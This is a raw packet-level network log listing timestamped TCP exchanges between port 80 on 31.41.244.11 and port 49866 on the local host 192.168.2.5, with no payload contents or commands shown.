Dec 16, 2024 09:01:30.999449968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999471903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999494076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999504089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999517918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999521971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999541044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999550104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999563932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999568939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999588013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999588013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999605894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999609947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999631882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999653101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000252962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000271082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000303030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000324011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000324965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000324965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000349998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000365019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000370979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000392914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000418901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000427961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000439882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000448942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000466108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000471115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000490904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000494957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000509977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000534058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000534058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000541925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000554085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000557899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.000593901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.000593901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001281023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001307011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001327991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001344919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001360893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001375914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001386881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001390934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001418114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001424074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001445055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001456022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001466990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001476049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001490116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001492023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001508951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001513958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001538038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001549006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001560926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.001569033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001588106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.001616001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002136946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002162933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002186060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002192020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002202034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002212048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002230883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002240896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002250910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002264977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002289057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002289057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002306938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002311945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002336025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002352953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002352953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002358913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002384901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002412081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002901077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002948046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002966881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002969027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.002994061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.002995014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003016949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003021002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003040075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003040075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003056049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003062963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003083944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003091097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003107071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003113031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003129005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003130913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003145933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.003149986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003190994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.003191948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.134689093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.134742975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.134776115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.134829044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.134869099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.134949923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.134996891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.135854959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.135915995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.135947943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.135987043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.136554003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.136616945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.136648893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.136692047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.137347937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.137408018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.137456894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.137610912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.138171911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.138216019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.138231993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.138256073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.139077902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.139128923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.139252901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.139884949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.139941931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.139974117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.140023947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.140726089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.140779018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.140878916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.140928984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.141510010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.141645908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.141705036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.142307043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.142357111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.142401934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.142451048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.143146038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.143248081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.143268108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.143300056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.143971920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.144022942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.144051075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.144097090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.144800901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.144854069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.144897938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.144954920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.145628929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.145708084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.145768881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.146406889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.146451950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.146503925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.146574020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.146624088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.147286892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.147370100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.147401094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.147546053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.148147106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.148220062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.148224115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.148276091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.148931980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.149008036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.149050951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.149100065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.149760962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.149844885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.149868011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.149919987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.150613070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.150671959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.150713921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.150773048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.151432991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.151492119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.151524067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.151576996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.152244091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.152318954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.152334929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.152385950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.153072119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.153155088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.153194904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.153251886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.153878927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.153955936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.153966904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.154021978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.154728889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.154875994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.154903889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.154952049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.155587912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.155637980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.155682087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.155731916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.156359911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.156419039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.156521082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.156630039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.157182932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.157234907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.157311916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.157356977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.158027887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.158082008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.158126116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.158175945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.158839941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.158900023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.158982038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.159035921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.159676075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.159734964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.159775972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.159965038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.160521030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.160579920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.160619020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.160681963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.161314964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.161427975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.161461115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.161494017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.162162066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.162213087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.162256956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.162303925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.162991047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.163081884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.163151026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.163825035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.163892031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.163985014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.164372921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.164648056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.164783001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.164865017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.164948940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.165446043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.165503979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.165584087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.165673018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.166290998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.166352987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.166390896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.166464090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.167108059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.167222023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.167258978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.167258978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.167951107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.168013096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.168109894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.168158054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.168781042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.168837070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.168883085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.168931961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.169585943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.169634104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.169699907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.169749975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.170445919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.170527935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.170600891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.171264887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.171331882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.171387911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.171442032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.172105074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.172193050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.172193050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.172247887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.172899961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.172961950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.173001051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.173049927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.173746109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.173836946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.173901081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.174556017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.174633026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.174662113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.174715042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.175396919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.175457001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.175496101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.175544977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.176203966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.176270008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.176297903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.176345110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.177021980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.177073956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.177207947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.177325964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.177839041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.182058096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.326602936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.326673031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.326736927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.326967001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.327009916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.327106953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.327152014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.327846050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.327917099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.327958107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.328668118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.328713894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.328717947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.328757048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.329479933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.329547882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.329579115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.329627037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.330281973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.330322027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.330358982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.330405951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.331115007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.331170082 CET	49866	80	192.168.2.5	31.41.244.11
